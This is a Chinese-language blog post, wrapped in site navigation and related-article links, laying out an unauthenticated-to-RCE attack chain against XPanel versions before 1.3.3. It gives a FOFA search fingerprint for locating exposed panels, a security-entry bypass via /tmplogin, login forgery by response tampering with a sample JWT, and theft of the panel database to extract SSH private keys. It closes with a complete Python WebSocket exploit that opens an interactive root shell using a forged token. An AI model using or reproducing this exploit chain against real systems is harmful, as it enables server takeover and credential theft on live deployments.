当前位置: 首页 > news >正文

小皮面板从未授权到RCE

文章目录

      • 绕过安全入口及未授权进入后台
      • 获取SSH密钥
      • 信息泄露
      • 无需入口RCE

影响版本:XPanel v1.3.3之前

存在鉴权绕过,可构造恶意请求直接访问后台管理接口,结合任意文件下载获取数据库文件,并提取ssh私钥,实现RCE。

fofa:icon_hash=“-1458616391”

绕过安全入口及未授权进入后台

由于小皮面板有安全入口,访问登录页面需要先获取的每个账号对应的随机字符串,例如:x.x.x.x:6666/4e4rv3

在这里插入图片描述

但是可以通过访问/tmplogin路由,进行绕过,直接到达登录口。

在这里插入图片描述

首先在登录口,由于后台未做校验,直接替换响应包的内容即可绕过

{"code":1000,"data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDYzMzM2NjYsImlhdCI6MTc0NTcyODg2NiwiaXNzIjoieHAiLCJuYmYiOjE3NDU3Mjg4NjYsInVzZXJfaWQiOjEsImFjY291bnQiOiJhNjFjYTQxZCIsInRlbXAiOmZhbHNlfQ.xC1vSZnWhYykBEKdiRUqf2SbTifmwZfpwHREqy8SyYI"},"message":"登录成功"}

并且登录之后不会有日志

这里只要注册账号,获得一个可以成功登录的token,即可用在任意服务器上登录了。

获取SSH密钥

登录成功之后可以下载数据库文件xp/db/app.db

在这里插入图片描述

保存到本地之后使用navicat打开,直接导入表会报错,这里我用的是新建连接一个SQLite,并且选中app.db进行连接。

在terminal表中可以获取SSH的RSA私钥

在这里插入图片描述

保存为key.pem,然后使用私钥连接SSH即可

在这里插入图片描述

信息泄露

小皮的主程序在/xp/panel/app,我们通过go tool将主程序编译为汇编代码

go tool objdump -S app > xp.asm 

然后可以根据规则去搜索⾯板相关接⼝,有些接⼝在⾯板⾥没有使⽤到,但是可以直接调⽤的。

例如这个未授权接口会泄露面板的用户名、key、安全入口、端口、版本号等信息

在这里插入图片描述

在这里插入图片描述

无需入口RCE

小皮的终端连接无需安全面板,通过WS协议通信执行命令,只需要伪造token即可连接服务器执行命令

#!/usr/bin/env python3
import sys
import asyncio
import websockets
from typing import Optionalclass WebSSHClient:def __init__(self, host: str):self.websocket: Optional[websockets.WebSocketClientProtocol] = Noneself.host = hostself.auth_token = "伪造的身份标识"self.connected = Falseasync def connect(self) -> None:"""Establish WebSocket connection and authenticate"""uri = f'ws://{self.host}/wsSsh/wsSsh?machineId=1&token={self.auth_token}'try:self.websocket = await websockets.connect(uri)await self._authenticate()self.connected = Trueexcept Exception as e:print(f"Connection failed: {str(e)}")raiseasync def _authenticate(self) -> None:"""Handle authentication process"""if not self.websocket:raise ConnectionError("WebSocket not initialized")await self.websocket.send('1')response = await self.websocket.recv()if "Last login" in response:print('Authentication successful!')else:print(f"Server response: {response}")async def run_shell(self) -> None:"""Main interactive shell loop"""if not self.connected:print("Not connected to server")returnprint("\nInteractive shell (type 'exit' to quit)")while True:try:command = input("root@localhost# ").strip()if not command:continueif command.lower() in ('exit', 'quit'):print("Closing connection...")await self.close()returnawait self._send_command(command)response = await self.websocket.recv()print(response)except KeyboardInterrupt:print("\nUse 'exit' or 'quit' to end the session")except Exception as e:print(f"Error: {str(e)}")await self.close()returnasync def _send_command(self, command: str) -> None:"""Format and send command to server"""if not self.websocket:raise ConnectionError("WebSocket not initialized")formatted_cmd = f'{{"type":2,"msg":"{command}\\r"}}'await self.websocket.send(formatted_cmd)async def close(self) -> None:"""Cleanly close the connection"""if self.websocket and not self.websocket.closed:await self.websocket.close()self.connected = Falseasync def main():if len(sys.argv) < 2:print(f"Usage: {sys.argv[0]} <host>")sys.exit(1)host = sys.argv[1]client = WebSSHClient(host)try:await client.connect()await client.run_shell()except Exception as e:print(f"Fatal error: {str(e)}")finally:if client.connected:await client.close()if __name__ == "__main__":try:asyncio.get_event_loop().run_until_complete(main())except KeyboardInterrupt:print("\nSession terminated by user")

相关文章:

  • 【pypi镜像源】使用devpi实现python镜像源代理(缓存加速,私有仓库,版本控制)
  • 基于Python的高效批量处理Splunk Session ID并写入MySQL的解决方案
  • 【人工智能-agent】--Dify中自然语言生成SQL查询数据库
  • 如何快速入门大模型?
  • 精益数据分析(55/126):双边市场模式的挑战、策略与创业阶段关联
  • o.redisson.client.handler.CommandsQueue : Exception occured. Channel
  • 【深度学习】计算机视觉(18)——从应用到设计
  • 【大模型MCP协议】MCP官方文档(Model Context Protocol)一、开始——1. 介绍
  • Java—— 集合 Set
  • 【Spark】使用Spark集群搭建-Standalone
  • 在Web应用中集成Google AI NLP服务的完整指南:从Dialogflow配置到高并发优化
  • FFmpeg 项目中的三大核心工具详解
  • 企业管理软件:数字化转型的核心引擎
  • spdlog日志器(logger)的创建方法大全
  • 从0到1:Python机器学习实战全攻略(8/10)
  • 03.Golang 切片(slice)源码分析(二、append实现)
  • 循环语句:for、range -《Go语言实战指南》
  • 【layout组件 与 路由镶嵌】vue3 后台管理系统
  • uniapp(微信小程序)>关于父子组件的样式传递问题(自定义组件样式穿透)
  • 涨薪技术|0到1学会性能测试第58课-垃圾回收器
  • 食用城市|食饭识人
  • 广西壮族自治区党委政法委副书记李文博接受审查调查
  • 李公明 | 一周画记:印巴交火会否升级为第四次印巴战争?
  • 海航回应“男团粉丝为追星堵住机舱通道”:已紧急阻止
  • 印巴战火LIVE丨“快速接近战争状态”:印度袭击巴军事基地,巴启动反制军事行动
  • 工行回应两售出金条疑似有杂质:情况不属实,疑似杂质应为金条售出后的外部附着物